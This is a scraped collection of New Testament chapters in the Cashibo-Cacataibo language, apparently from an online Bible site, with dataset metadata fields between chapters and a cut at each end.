oi, axira 'ësama cushiira 'ain camabi unix 'ë ëanan anuishi cuanti 'icën.\nAxa naínuax ucë uni ñuicë bana\n31 Axa naínuax uá, an unio ñucamabë sënë́nma cushiira 'aish ca bëtsi unisamaira 'icën. Unían bëchicëxa bacë́ncë uni an ca unishi 'ixun ënë menu 'icë ñuishi ñuia. Axa Nucën Papa Diosnuax uá, ax ca an unio ñucamabë sënë́nma cushiira 'aish bëtsi unisamaira 'icën. 32 An ca an iscë ñucama ñuianan, an cuacë banacamaribi ñuia, ñuiabi ca uinu 'icë unínbi aín bana ca asérabi 'icë quixun sinanima. 33 Usa 'aínbi ca axa aín bana cuati ami catamëcë uni, an —Nucën Papa Diosan banax ca asérabi 'icë —quixun sinánan —ca usa 'icë —quixun unicama ñuixunia. 34 Usai 'inun ca Nucën Papa Diosan aín Bëru Ñunshin Upí ñonquinma aín Bëchicë 'inania. Usaquian 'ináncëxun ca an xucë́xa ucë uni, Jesús, an aín Bëru Ñunshin Upitan sinánmicë 'ixun Nucën Papa Dios cuëëncësabi oquin unicama bana ñuixunia. 35 Nucën Papa Diosan ca aín Bëchicë nuibaquin axa aín 'ibu 'inun camabi ñu a 'ináncëxa. 36 Axa aín Bëchicëmi catamëcë uni, ax ca ainan 'aish Nucën Papa Diosbë nëtë́timoi 'ia. Usa 'aínbi ca axa Nucën Papa Diosan Bëchicëmi sinántisama tancë uni, ax ainanma 'aish Nucën Papa Diosbë nëtë́timoi 'ima. A uni ca Nucën Papa Diosan aín 'ucha cupí 'aisamaira oquin castícancë 'iti 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/JHN03.htm","date":"2022-05-27T15:40:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662658761.95\/warc\/CC-MAIN-20220527142854-20220527172854-00310.warc.gz","language":"cbr","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000009298324585}","num_words":910,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.37,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"II. ËSAI CA NUCËN PAPA DIOSAN UNI 'ITI 'ICË QUIXUN PABLONËN CA (4-6)\n4\nAín Bëru Ñunshin Upitan 'imicëxun Nucën Papa Diosan unicaman bëtsin sináncësaribi oquin sinánti bana\n1 Usa 'ain cana 'ëx ainan 'ixun Nucën 'Ibu Jesucristo ñuiquin bana ñuixuncë cupí sipuacë 'ixun mitsu cain, an caíscë aín unicamaxa usai 'iti oquian Nucën Papa Diosan mënóisabi oi camina ax cuëëncësabi oíshi 'iti 'ain. 2 Cuamiananima camina upí sinánñu 'aish upiti banati 'ain. Bënëtishi nishíma camina bëtsibë nuibanani 'aquiananti 'ain. 3 Nucën Papa Diosan Bëru Ñunshin Upitan 'aquincëx camina bëtsin sináncësaribi oquin sinani achúshi sinánsa 'aish, ëníma bëtsibë bëtsibë nuibananti 'ain. Usai 'iti sinani camina usaíbi 'iti 'ain. 4 Jesucristonan 'aish ca aín unicama achúshisaishi 'icën. An atu 'aquincë Nucën Papa Diosan Bëru Ñunshin Upí ax ca achúshishi 'icën. Usa áin ca bëtsin 'unáncësaribi oquin aín unicaman 'unania, Nucën Papa Diosan ca aín nëtënu abë 'inun nu caísacëxa quixun. 5 Nucën 'Ibu Jesucristo axëshi ca aín unicaman 'Ibu 'icën. Ax ca achúshi 'icën, amishi catamëti cananuna camáxbi nun 'ucha tërë́ncë 'aish ainan 'ain. Jesucristomishi catamëcë cupí cananuna nashimicë 'ain. 6 Nucën Papa Dios axëshi ca aín unicaman Dios 'ianan aín unicaman 'Ibu 'icën. Usa 'ixun ca ax cuëëncësabi oquian ñu 'anun aín unicama 'aquinia. Ax ca aín unicamabë 'icën.\n7 Usa 'ain ca axa ami catamëcë unicama bëtsin sináncësaribi oquin sináncë 'icëbi ax cuëëncësa oquian bëtsi bëtsi ñu mëëti 'anun Cristonën nu 'imiaxa. 8 Usai ca 'iti 'icë quiax ca Nucën Papa Diosan bana cuënëo ësai quia:\nCapitanëan abë 'acánanquin axa ami nishcë unicama ñusmoxun cuëënquin aín unicama an bicë ñu 'ináncësabi oquin ca Cristonën bamax baísquitancëx naínu cuantëcëntancëxun cuëënquin aín unicama an 'ati ñu 'inánquin bëtsi bëtsi ñu 'anun 'imiaxa.\n9 ¿Usa 'ain cara Cristo naínu cuantëcëan quicë bana uisai quicë 'ic? Ax ca ësai quia, aín Papan nëtënuax ënë menu utancëx ca anu cuantëcëancëxa, quiax. 10 Axa ënë nëtënu uá, axbi ca anuxun aín unicama camabi aín cushi anúan aín cuëëncësa oquin 'ati a 'inánux abë 'Apu 'i aín Papan nëtënu cuantëcëancëxa. 11 An ca ax cuëëncësa oquían bëtsi bëtsi ñu 'anun aín unicama 'imia. Bëtsi bëtsi unix ca aín bana ñuixunuan 'imicë 'icën. Raírinën ca Nucën Papa Dios quicë bana unicama ñuixunia. Raírinën ca axa Jesucristomi catamëcëma unicama amia catamënun upí oquin 'aquinia. Raírinën ca axa ami catamëcë unicama upiti Jesucristo cuëëncësabi oi ínun áquinia. Raírinën ca uisai cara Nucën Papa Diosan bana cuënëocama quia quixun uni 'unánmia. 12 Axa ami catamëcë unicaman upí oquin sinánan ax cuëëncësabi oquin ñu upíshi 'ati 'aquinun ca Cristonën aín unicama bëtsi bëtsi ñu 'anun 'imia. 13 Usai 'aquianani cananuna nishánanima nuibanani uisa ñu cara 'icëbëbi asérabi ami catamëti 'ain. Ainan 'ixun Nucën Papa Diosan Bëchicë a asérabi 'unani cananuna an 'imicëx aín sinánsaribi 'iti 'ain. Usa 'aish cananuna camáxbi nun sinan upíira upí 'aish ax cuëëncësabi oi 'iti 'ain. 14 Usai 'i cananuna bërámanu 'iásaribiti bërí 'itima 'ain. Bërí cananuna tuáxunratsunën unín paráncëxun sinánbëquincësa 'aish unín bëtsi bëtsi bana ñuixunquin paráncëxun amanua amanua sinani usaribi 'itima 'ain. An uni paráncë unicaman cëmëquin nu paránquin ñu 'atima 'anun quixun 'imicëx usai 'iá 'aíshbi cananuna bërí usai 'itëcëntima 'ain. 15 Nuxnu ainan 'aían aín unicaman 'Ibu, Cristo, ax nubë 'ain cananuna nëtë camabi an nu 'unánmicësabi oquin 'ai, aín sinánsaribi 'iti 'ain. Usa 'aish cananuna bëtsibë bëtsibë nuibananquin, cëmëquin uni itsi paranima, Cristo cuëëncësabi oíshi 'iti 'ain. 16 Nun namicama amanu amanu 'aish nun mëcën, nun taë, nun pëñan, nun bëru, acama upiti tacáshquiama 'aish cananuna unima 'itsían. Usa 'aíshbi ca uni camabi aín namia upiti unia 'ain, asábi 'icën. Usaribiti ca axa Jesucristomi catamëcë unicamax amanu amanu sinánquinma Cristonën 'aquincëx camaxunbi bëtsin sináncësa oquin sináncë 'iti 'icën. Usai 'i ca Cristonëx cuëëncësabi oi bëtsibë bëtsibë nuibanani, an sináncësaribi oquin sinani Cristosaribi 'ia.\nCristonan 'aísha uni bëtsi 'iti bana\n17 Nucën 'Ibu Jesucristonën 'ë sinánmicësabi oquin cana mitsu cain, axa Nucën Papa Diosmi sináncëma uníxa 'icësaribiti 'iá 'aíshbi camina usai 'itëcëntima 'ain. A unicamax ca Nucën Papa Dios cuëëncësa oíma atúnbia sináncësa oíshi 'i bucuia. 18 Usa 'aish ca bëánquibucë 'ain mancasmatia uni bënë́cësaribi oi 'ia. Cristo ñui quicë bana cuaisama tancë 'ixun ca ainan 'iti 'unáncëma 'aish Nucën Papa Diosnan 'itsianxbi ainanma 'icën. 19 A 'ai ñunshíncë 'ixun ca rabínquinma uisa ñu 'atima cara 'aisa tania a 'aia. Aín xanuma 'aínbi xanubë 'iti, xanúxmabi uni itsibë 'iti, usa ñucama 'ati cuëënia. 20 Usaía atux 'icëbëtanbi ca Cristonën usaími 'inun mitsu sinánmicëma 'icën. 21 Mitsúxmi a rabi timë́cë 'ain cara Jesús uisai mitsux 'iti cuëënia quixun 'unánmicë 'ixun camina 'unanin, Jesusax ca mitsúxmi a unicama 'icësaribiti 'iti cuëënima quixun. 22 Usaribiti 'iquin camina bëráma mitsux cuëëncësabi oquin ñunshínquin ñu 'atima 'acën. Usaquin 'aquin camina mitsun sinan upíma 'ixun ñu 'atima 'aquinbi, ax ca 'aisama 'icë quixun sinani rabíanma 'ain. Usai 'iá 'ixunbi camina ñu 'atimami 'á, acama ënti 'ain. 23 A ëni camina Nucën Papa Diosan 'imicëx bëtsi sinánñu 'iti 'ain. 24 Bëtsi sinánñu 'imicëx camina an iscëx asérabi upí 'ianan unínribia iscëx upí nuituñu 'iti 'ain, Nucën Papa Dios cuëëncësabi oi.\n25 Usai 'iquin camina cëmëquin uni parántima 'ain. Camáxbi cananuna Cristonan 'ain. Usa 'ain camina abë banaquin min aintsicama asérabi banáinshi caquin parántima 'ain.\n26 Unibë nishanantancëxbi camina 'uchati rabanan xënibutíma a nëtë́nbi bënëtishi manúti 'ain. 27 Nishtancëxunbimi manuiama ca ñunshin 'atimanën mitsu masá sinánmiquin mitsun nuitu upíma 'imiti 'icën. Usaquian 'atin rabanan camina mitsun nishcë bënë́nquinshi manuti 'ain.\n28 An ñu mëcamacë uni an ca usaquin 'atëcëntima 'icën. Usaquin 'atëcënquinma ca chiquíshquinma aín mëcënanbi upí oquin ñu mëëti 'icën, cupí bixun anun ñuñuma uniribi 'aquinti sinánquin.\n29 'Atimati banaima upitishi banaquin camina uni Jesucristomia upiti catamënun 'aquinti 'ain. Mitsúxmi usai banaia cuati Jesucristomi upiti catamëtia Nucën Papa Diosan nuibaquin 'aquincëx ca cuëënti 'icën. 30 'Atimati banaquin camina Nucën Papa Diosan Bëru Ñunshin Upí masá nuitumiquin rabínmitima 'ain. Axa mibë 'inun 'inánquin ca Nucën Papa Diosan mitsu ainan 'inun 'unántioxa, Jesucristo utëcëncëbëmi aín nëtënu abë 'iti oquin.\n31 Usa 'ain camina uinu 'icë unibëbi nishanantima 'ain, uni itsimi camina xuamati nishtima 'ain, unibë camina ñu canantima 'ain, uni ñui camina 'atimati banatima 'ain, uisa ñu cara 'atima 'icë a camina 'atima 'ain. 32 Usai 'ima camina abë nuibanani uni itsibë 'aquiananti 'ain. Mitsumi nishquian unin 'atimocëxbi camina abë tanánantima 'ain. Usai 'ima camina uisa cara mi ocëxbi a manui abë upí 'iti 'ain. Mitsun ñu 'aisama 'acëcama manuia, Nucën Papa Dios Cristo cupí mitsubë upí 'ain, camina usaribiti uni itsibë 'iti 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/EPH04.htm","date":"2022-05-19T02:52:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522741.25\/warc\/CC-MAIN-20220519010618-20220519040618-00356.warc.gz","language":"cbr","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000006079673767}","num_words":1028,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.336,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\n1 Usaquian 'an cana 'aisamaira uníxa naínuax munuma sharati banaia cuan, ësai qui:\nNucën Papa Dios cananuna munuma banaquin rabin. Axa 'Apuira 'aish cushiira an ca uni ainan 'inun ië́miaxa quiquin ca camabi unin a rabiti 'icën. 2 Ax aín sinan upíira 'ixun ca uisa cara oti 'icë usoquin 'aia. Ñu 'atima cuëënquinma ca usoquin 'aia. Usa 'ixun ca Babilonia ëmanu 'icë unicama, an camabi menu 'icë unicama 'atima ñu 'anun 'unánmianan ami sinánxma 'inun 'unánmicë cupí acama 'uchoquin castícanxa. Usaquin 'aquin ca an aín unicama 'acë unicama cupiaxa.\n3 Usai quianan ca ësairibi quitëcëanxa:\n—Nucën Papa Dios cananuna munuma banaquin rabin. Nëëmëti ca Babilonia bënamëtima 'icën. Usa 'aish ca xënibua 'aínbi aín tsin cuin nëtë́tima 'icën.\n4 Usai 'imainun ca mëcën rabë́ 'imainun taë rabë́ 'imainun rabë́ 'imainun rabë́ caniacëcë unicama 'imainun axa 'itsa bëruñu rabë́ 'imainun rabë́ ñu, axribia bamatimoi tsócë, acaman ca aín bëmánon meu bësuquin Nucën Papa Dios, 'Apuira, a rabi cuëënquin caxa:\n—Usai ca 'iti 'icën. Miishi cananuna munuma banaquin rabin.\n5 Cacë́xa anu Nucën Papa Dios 'icë anuax ësai banaia cana cuan:\nAn axa cuëëncësabi oquin 'acë unicama, aín cushibu 'imainun aín cushimabu, mitsun camina camaxunbi Nucën Papa Dios rabiti 'ain.\nCarnero 'icësaribitia unin 'ucha cupí bama, a unin xanu bicësa isá bana\n6 Usai quicëbëtan cana 'aisamaira uni munuma cushin banacësari banaia cuan. A banax ca baca xuqui cushíinra banarucësari 'ianan caná munuma banacësaribi 'iaxa. Ësai banaia cana cuan:\nNucën 'Ibu Dios axa aín cushi chaira 'aish bëtsi cushisama, ax ca 'Apuira 'icën. A cananuna munuma banaquin rabin. 7 Cuëëinra cuëënquin a rabinun ca rabican. Anúan a Carnero 'icësaribitia unin 'ucha cupí bama, ax aín unicamabë biránanti nëtë ca uaxa. Aín unicamax ca abë 'inux mëníocaxa, unían biti xanúxa aín bënëbë biránanux upiti mëníocacësaribiti. 8 Usa 'ain ca aín unicama chupa chuañuma, uxua upíira pañucësa 'icën.\nBanaia ësai quia cana cuan. Axa Jesucristomi catamëcë unicaman pañucë chupa, ax ca aín nuitu upí 'ixun upí ñu 'acë a 'unántiocë 'icën.\n9 Usai quicëbëtan ca ángelnën 'ë caxa:\n—Ësaquinribi ca cuënëot: \"Uicamax cara Carnero 'icësaribitia unin 'ucha cupí bama, anúan aín unicama abë 'iti nëtë́an abë 'inun camicë 'icë, acamax ca cuëëinra cuëënti 'icën, unían xanu biquin abëtan pi unun camicë unicamax cuëëncësamaira oi\".\nËsaquinribi ca 'ë caxa:\n—Ënë bana a 'ën mi cacë ax ca Nucën Papa Diosaxa quicë 'icën. Ca asérabi 'icën.\n10 Quicëbë cana a rabinux a ángel tanáin rantin purúan. Usai 'iabi ca 'ë caxa:\n—Usai 'iáxma ca 'it. Uicaman cara Nucën Papa Dios quicë bana unicama ñuixunia an ca Jesús ñuiquin an 'unánmicë banacama uni ñuixunia. Mibëtan ax Jesús quicë banacama quicësabi oi 'icë unicaman 'acësaribi oquin cana 'ënribi ax quicësaribi oquin 'aquin Nucën Papa Dios rabin. Usa 'ain ca 'ë rabixunma Nucën Papa Diosëshi rabit.\nAxa caballo uxuanu tsócë\n11 Usaquin ángelnën cacëxun cana naí panárabëcë isan. Anuaxa caballo uxua chiquitia cana isan. Ax a caballonu tsócë, ax ca Aín Quicësabi Oquin 'Acë caquin anëcë 'ianan ca An Uni Paráncëma caquin anëcë 'iaxa. Usa ax 'ixun ca 'atima unicama a uisoquin cara 'aisa tania usoquin castícanan axa upí sinánñucama a upí oia. 12 Aín bëru rabë́ ca tsi rëquirucë ënxáira iscësa 'iaxa. Axa asérabi 'apuira 'ain ca 'apun mañuti 'itsaira aín maxcánu 'iaxa. Aín anë cuënëocë 'icë ca uinu 'icë unínbi uisai quicë cara a 'icë quixun 'unántima 'icën, ainshi ca 'unania. 13 Aín chupa ca imin pucucë 'iaxa. Ax ca aín anë Nucën Papa Diosan Bana caquin anëcë 'iaxa. 14 Axa naínu 'icë caballo uxuanu tsócë ax chiquitia ca aín caballo uxuanu tsotax naínuax chiquíquin axa abë 'icë unicaman a nuibianxa. An nuibiancëcamax ca chupa uxua upíira upí chuañuma pañucë 'iaxa. 15 Ax pain chiquícë aín cuëbínuaxa machítusa manë xëtocë chiquitia cana isan. A manë xëtocë ax ca camabi menu 'icë axa ami sináncëma unicama anun 'ati 'iaxa. Ax cushi 'ixun ca camabi menu 'icë unían aín bana cuanun 'imiti 'icën. 'Imainun ca ax cushiira 'ixun axa ami nishcë unicama Nucën Papa Diosan mëníosabi oquin castícanti 'icën, uvas bimia taën chacacëx cëñúcësaribi 'inun. 16 Aín chupanu 'imainun ca aín quisinuribi ësaquin cuënëocë 'iaxa: \"'Apucaman 'Apu 'ianan 'ibucaman 'Ibu\".\n17 Usaquin istancëxun cana ángel achúshi barinu nicë isan. An ca munuma banaquin axa me manámi nuáncë ñu pëchiucama ësaquin cuëanxa:\n—Ca ut, Nucën Papa Diosan mitsúnmi pinun mëníocësabi oquin nami pinux ca timëti ut. 18 'Apucama 'imainun suntárunën capitáncama, 'imainun aín cushi unicama, 'imainun axa caballonu tsócë unicama a 'imainun atun caballocamaribi, 'imainun an uni ñu mëëxuncëma unicama, 'imainun an uni ñu mëëxuncë unicama, 'imainun aín cushima unibu, 'imainun aín cushi unibu acama bamacë pi ca ut.\n19 Usaquin caia cuatancëxun cana ñuinacan'ëo, 'imainun camabi menu 'icë 'apucamacëñun aín suntárucama 'acananuxa tsuáquirui timë́cë isan. Acamax ca aín suntárucamabë axa caballo uxuanu tsócë abë 'acananuxa timë́cë 'iaxa. 20 'Acanánia ca ñuinacan'ëo acëñun a rabiquian Nucën Papa Dios rabixunma 'anun quixun an unicama paráncë ñuinacan'ëo aribi bicanxa. An usoquin unicama paráncë ñuinacan'ëo ax ca an bëtsi ñuinacan'ëo 'itsa maxcáñu an ismainun unin 'acëma ñu 'aquin uni paran a 'iaxa. Ax ca an 'itsa maxcáñu ñuinacan'ëonan 'icë 'unántioquin cuënëocë unicama, 'imainun an a tanquin 'acë ñu rabicë, acama paran a 'iaxa. 'Acananquin bitancëxun ca a ñuinacan'ëo rabë́ 'ianëmë'ëosa manë tsi anuaxa azufre 'imainun manë tsi rëquirucë anu 'inun niaxa. 21 A rabë́a anu 'inun nicë 'ain ca axa caballo uxuanu tsócë an aín cuëbínuaxa chiquícë manë xëtocë anun axa 'acananux timë́cëcama cëñuquin 'axa. Usaquian 'acë aín nami pi ca camabi ñuina pëchiucamax pucháxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV19.htm","date":"2022-05-28T01:32:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00014.warc.gz","language":"cbr","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000073909759521}","num_words":880,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nAn Nucën Papa Diosan bana uni ñuixuncë uni ñuicë bana\n1 'Ën xucë́antu, ëx mibë 'ixun cana axa aín Bëru Ñunshin Upitan sinánmicëx upiti Nucën Papa Diosmi catamëcë unicama 'unánmicësa oquin mitsu 'unánmiama 'ain. Ama, an ënë menu 'icë ñuishi sinánquin ëncëma pan unisa 'icë cana mitsu 'unánmiacën, bërími Cristo 'unáncë 'icë. 2 Tuá xuratsu aín titan ñu pain pimiquinma aín xuma pain 'amicësa oquin, cana a pain 'unánti banaishi mitsu 'unánmiacën, Cristonëan mitsu 'unánmiti ñumi asérabi 'unántisama pain 'icë. Bëríbi camina usabi 'ain. 3 Usai 'aish nutsi cuamianani nishananquin camina Cristonanma unin sináncësa oquinshi sinanin. Usa 'i camina an Nucën Papa Diosan bana cuacëma unicamaxa 'icësai 'in. 4 Usa 'aish camina raírinëxa —'ëx cana Pablonën 'unánmicë 'ai —quimainun raírinëx —'ëx cana Apólonën 'unánmicë 'ai —quin. Usai qui camina Cristonanma unin sináncësa oquinshi sinanin.\n5 ¿'Ëx Pablo 'aish carana min sináncëx uisa uni 'ain? ¿Mitsun sináncëx cara Apolo uisa uni 'ic? Nucën Papa Diosan nu sinánmicësabi oquin mitsu bana ñuixuncëishi cananuna nux 'ain. Nun aín bana ñuixunia cuati camina Nucën 'Ibu Jesucristomi catamëacën.\n6 Ënëx ca ësa 'icën: Unían ñu bëru anu 'apatia ca a me bëtsi unin 'umpaxan chabóia. Usoiabi ca Nucën Papa Diosainshi ñu bëru comia. Usaribi oquin cana 'ën mitsu Nucën Papa Diosan bana ñuixunquin 'unánmiacën. 'Ën mitsu 'unánmicë bana a ca Apólonën mitsu ñuixuntëcëancëxa. Usoquinu nu rabëtan ñuixuniabi ca Nucën Papa Diosainshi Jesucristomi catamënun mitsu sinánmiacëxa. 7 An ñu bëru 'apácë uni 'imainun an a me 'unpaxan chabócë uni anbi ca ñu comima. Nucën Papa Diosan cuni ca comia. Usaribi oquin ca unin aín bana ñuixuniabi Nucën Papa Diosanshi uni Jesucristomi catamëti ainan 'inun 'imia. 8 Ainra paían uni bana ñuixuncë uni asaribi ca anribia uni bana 'unánmitëcëncë uni ax 'icën. Uisoquin cara aín ñu mëëti 'axa istancëxun ca Nucën Papa Diosan a unicama cupíoti 'icën. 9 Nucën Papa Dios cuëëncësabi oquin cananuna nucaman mitsu Jesucristomi sinánun aín bana ñuixuancën, unían ñu bëru 'apácësaribi oquin. Usa 'ain ca Nucën Papa Diosan unían 'apácë ñu bërua comicësaribi oquin Jesucristomi upiti catamënun mitsu 'imia.\n'Imainun ca ësa 'icën: Xubuoquin ca unin amia cushiti itácama pain nitsíntancëxun i puruia. Usotancëxun ca aín mascuáncama 'aia. Usoquian 'acëx ca xubu upí 'ia. Usaribi oquin ca Nucën Papa Diosan mitsu upí oquin 'acë xubu achúshisa 'inun 'imia. 10 An xubu 'ati 'unáncë unin ca itá upí pain caístancëxun nitsinia. Usaribi oquin cana 'ën pain mitsu Jesucristomi catamënun 'unánmiacën. Usa 'ain ca uni itsían, ami xubu 'ati nitsíncë itámia unin i purucësa 'itánun mitsu Cristomi catamënun bana ñuixunquin mitsu 'unánmia. Usa 'ain ca uicaman cara mitsu 'unánmia an Jesucristo cuëëncësabi oquinshi mitsu 'unánminux, bëtsi bana mitsu ñuixunti rabanan bërúancati 'icën. 11 Unían bëtsi bana ñuixuncëxbi ca 'ën a ñuiquin ñuixuncë banaishi cuati Jesucristomi catamëti uni Nucën Papa Diosnan 'iti 'icën. 12-13 Jesucristonën uni, an uni bana ñuixuncë, an ca Nucën Papa Diosan 'aquincëxun aín bana upí oquin 'unánquin, Jesucristomi catamëtia Nucën Papa Dios cuëëncësabi oi 'inun unicama 'unánmiti 'icën. Usa 'aínbi ca uni raírinën, usaquin 'unánmiquinma unicama Nucën Papa Dios cuëëncësabi oi 'inun 'unánmima. Usa 'ain ca utëcënquin Jesucristonën uin cara aín bana upí oquin 'unánmiaxa quixun isnuxun 'aia. An upí oquin 'unánmicë unin 'unánmicë unicamax ca upí 'aish maxax upí 'imainun curi 'imainun uxu manë tsin nëënquinbi picëma usaribi 'iti 'icën. An upí oquinma 'unánmicë unin 'unánmicë unicamax ca i, pëi, basi xo acama nëënquin tsin picë usaribi 'iti 'icën. 14 An a ñuiquin bana ñuixuncëxun cuati ami catamëquian unin Jesucristo quicësabi oquin 'acë 'ain ca an atu bana ñuixuncë uni a Nucën Papa Diosan, upí oquin camina uni 'ë ñuiquin bana ñuixuancë quixun caquin cuëënquin upí oquin cupíoti 'icën. 15 Usa 'aínbi ca an aín bana cuacë unicama asérabi Jesucristomi catamëquin ax quicësabi oquin 'ati 'unánmiama cupí, an atu bana ñuixuncë uni a Nucën Papa Diosan, upí oquinmi 'ën bana uni 'unánmiama 'icë cana mi cupíoima quixun cati 'icën. Usa 'aish ca a uni —ñancábi cana uni 'unánmiacë —quixun sinani, cupí bitsimabi ië́ti 'icën, tsin nëëncëxbia uni ië́cësaribi.\n16 ¿Mitsun caramina 'unaniman, anua Nucën Papa Dios 'icë a camina mitsux 'ai quixun? Nucën Papa Diosan Bëru Ñunshin Upí ax ca mitsunu 'icën. 17 Aín Bëru Ñunshin Upí anu 'icë unicamax ca Nucën Papa Diosan iscëx upíira 'icën. Usa uni camina mitsux 'ain. Usa 'ain ca ui unin cara usa unicama sinanamiquin bëtsi bana ñuixunquin ami manumia, a Nucën Papa Diosan uisa cara oti 'icë usoquin 'ati 'icën.\n18 Uni itsían mitsu sinanamiti rabanan camina bërúancati 'ain. Mitsun camina —'ënbi ñu 'unáncë cana 'ai —quixun sinántima 'ain. Usaquin sinanima camina Jesucristonën sinánmicë 'inux ñu 'unáncëma unisa 'iti 'ain. 19 Abia unin sináncë bana ax ca Nucën Papa Diosan iscëx ñancáishi 'icën. Nucën Papa Diosan bana aín unin cuënëo, ax ca ësai quia: \"Ui unin cara bëtsi uni parania, a uni ca Nucën Papa Diosan 'amicëxun bëtsi unínribi usaribi oquin cupiti 'icën\". 20 Ësairibi ca aín bana quia: \"An ñu 'unáncë unicama anbi sináncë banax ca ñuuma 'icë quixun ca Nucën 'Ibu Diosan 'unania\". 21 Usa 'ain camina uin cara mi 'unánmia a unin 'unánmicëxbi rabítima 'ain. Uisa ñu cara aín unicama Nucën Papa Diosan 'unánmia, a camina mitsunribi 'unánti 'ain. 22 'Ë 'imainun Apolo 'imainun Pedro, nucaman mitsu ñuixuncë banacama camina camaxunbi 'unánti 'ain. Nucën Papa Diosan ca ënë menu 'icë ñu mitsu 'inania. An 'imicëx camina ënë menu upiti bucuin. An 'imicëx camina bamatancëxbi abë upiti bucuti 'ain. Bërí camina an 'imicëx asábi 'ain, usabi camina 'iti 'ain, xënibua 'aínbi. 23 'Ianan camina Cristonan 'ain. Cristo ax ca Nucën Papa Diosnan 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO03.htm","date":"2022-05-22T13:24:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662545548.56\/warc\/CC-MAIN-20220522125835-20220522155835-00675.warc.gz","language":"cbr","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000065565109253}","num_words":889,"character_repetition_ratio":0.119,"word_repetition_ratio":0.002,"special_characters_ratio":0.213,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\n1 Ësaquin cana mitsu cain, aín papa bamacëbëtan ca aín ñucama ainan 'icëbi canicëma pain 'ixun aín bëchicënën bitsima. Canitancëxun cuni ca biti 'icën. Usa 'aish ca a tuá aín papan ñucama axa ainan 'aínbi a ñucama bicëma pan 'aish, an aín papa ñu mëëxuncë unisaribi 'icën. 2 Aín papan anúan aín ñu biti mënío nëtë sënë́ntamainun ca aín papan caíscë unin aín bëchicë bërúanan aín chupa acama aín papan curíquinën bixunti 'icën. 3 A tuásaribi ca Jesucristo ucëma pan 'ain judíos unicama 'iacëxa. Usa 'ixun ca Moisésnën cuënëo bana quicësabi oquin 'anan aín nuitu upí 'inúan unin sináncë ñuishi 'ati sináncëxa. 4 Usa 'aínbi ca aín uti nëtë sënë́ncëbëtan Nucën Papa Diosan aín Bëchicë ënë nëtënu xuacëxa. Achúshi xanúxa bacë́ncëx canitancëx ca judíos unicama 'icësaribiti Moisésnën cuënëo bana, usaía judíos unicama 'iti, a 'unáncë 'iacëxa. 5 Ax ca judíos uni 'aíshnu nux Moisésnën cuënëo bana cuacë 'icë, an 'imicëxëshi nun 'uchacama tërë́ncë 'aish Nucën Papa Diosan bëchicë 'inun nu 'iminux uacëxa.\n6 Mitsux camina asérabi aín bëchicë 'ai quixunmi 'unánun ca Nucën Papa Diosan aín Bëchicënën Bëru Ñunshin Upí mitsubëa 'inun xuacëxa. Usa 'ain camina aín bëchicë 'ixun —'ën Papa Dios camina mix 'ai —quixun Nucën Papa Dios cain. 7 Usa 'aish camina an uni ñu mëëxuncë uni 'icësai 'ima xubu 'ibu unin bëchicë 'icësai asérabi Nucën Papa Diosan bëchicë 'ain. Mixmi aín bëchicë 'icë ca Cristo ax quiásabi oquin mitsun 'uchacama tërë́nquin an iscëxmi upí 'inun 'imianan aín Bëru Ñunshin Upí mitsubë 'inun 'inania.\nAxa Jesucristomi catamëti unicamamia Pablo sinan\n8 Bëráma camina —Nucën Papa Dios ca asérabi Dios 'icë —quixun 'unáncëma 'ixun Diosma ñucama rabiquin bëtsi bëtsi ñu 'acën. 9 Usaquin bëtsi ñu rabiá 'ixunbi camina an sinánmicëxun —Nucën Papa Dios ax ca asérabi Dios 'icë —quixun 'unanin. ¿An mitsu ainan 'imicëxunbi caramina uisa cupí mitsúnmi bëráma rabia ñucama rabitëcënti sinan? 10 Nucën Papa Diosan mitsu upí isnun quiax camina bërámami quiásaribiti nëtë ñui —ënë nëtëx ca bëtsi nëtësama 'icë —quianan 'uxë ñui —ënë úxëx ca bëtsi 'uxësama 'icë —quianan bari ñui ënë barix ca bëtsi barisama 'icë —quin. 11 Usaquin sinanimi 'ën mitsu 'unánmicë banacama manucësa 'ain cana —sapi cana ñancábi mitsu 'unánmia —quixun sinanin.\n12 'Ën xucë́antu, mitsux judíos unima 'ixun camina Moisésnëan cuënëo bana 'unáncëma 'ixun a bana quicësabi oquin 'ama 'ain. 'Ënribi cana —a bana quicësabi oquin 'acë cupí cana Nucën Papa Diosan iscëx upí 'ai —quixun bërí sinaniman. Usa 'ain camina mitsúxribi 'ëx 'icësaribiti Nucën Papa Diosan iscëx upí 'inux asérabi Jesucristomishi catamëti 'ain. 'Ëx mitsubë 'ain camina 'ëmi 'icëma 'ain. 13 Camina 'unanin, 'ën nami 'aisama 'ixun cana bëtsi menu cuanti 